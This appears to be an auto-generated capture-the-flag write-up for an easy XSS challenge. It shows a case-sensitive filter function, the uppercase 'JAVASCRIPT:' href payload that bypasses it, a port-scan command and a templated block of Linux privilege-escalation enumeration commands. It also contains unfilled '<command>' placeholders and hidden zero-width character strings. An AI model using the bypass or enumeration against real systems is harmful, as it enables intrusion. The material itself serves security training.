Easy 4

Platform: Web Kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-09 | Status: Solved Techniques: case_sensitive_filter_evasion, javascript_uri_case_bypass

Summary

XSS challenge where input is placed into an <a href=""> attribute. The escape function filters dangerous patterns but uses case-sensitive regex.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: web-kids20 | ID: 20260309_web_kids20_sibearsxss4
• Tags: xss, regex_bypass, javascript_uri, case_bypass, href_injection
• Indicators: case-sensitive regex filter, javascript: protocol blocked lowercase, href attribute injection, regex without /i flag
• Source: 20260309_web_kids20_sibearsxss4.md

Foothold

Vulnerability / Misconfiguration

1. Case_sensitive_filter_evasion
2. Javascript_uri_case_bypass

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• case_sensitive_filter_evasion
• javascript_uri_case_bypass
• Tags: xss, regex_bypass, javascript_uri, case_bypass, href_injection

Original Writeup

<details><summary>Click to expand original content</summary>

Description

XSS challenge where input is placed into an <a href=""> attribute. The escape function filters dangerous patterns but uses case-sensitive regex.

Analysis

Escape function:

function escape(s) {
  if (/script|data|\/|"/.test(s)) { s = '/'; }
  return '<a href="' + s + '">Click ME </a>';
}

Filters (case-sensitive):

• script - blocks <script> and javascript:
• data - blocks data: URI
• / - blocks path traversal and closing tags
• " - blocks breaking out of href attribute ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key weakness: The regex /script|data|\/|"/ is case-sensitive (no /i flag). It only matches lowercase "script" and "data".

Solution

Use uppercase JAVASCRIPT: protocol which bypasses the case-sensitive filter:

Payload:

JAVASCRIPT:prompt('sibears')

The regex doesn't match "JAVASCRIPT" (uppercase), so the payload passes through.

Result:

<a href="JAVASCRIPT:prompt('sibears')">Click ME</a>

When the bot clicks the link, the javascript: URI executes (browsers treat it case-insensitively), triggering the prompt. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR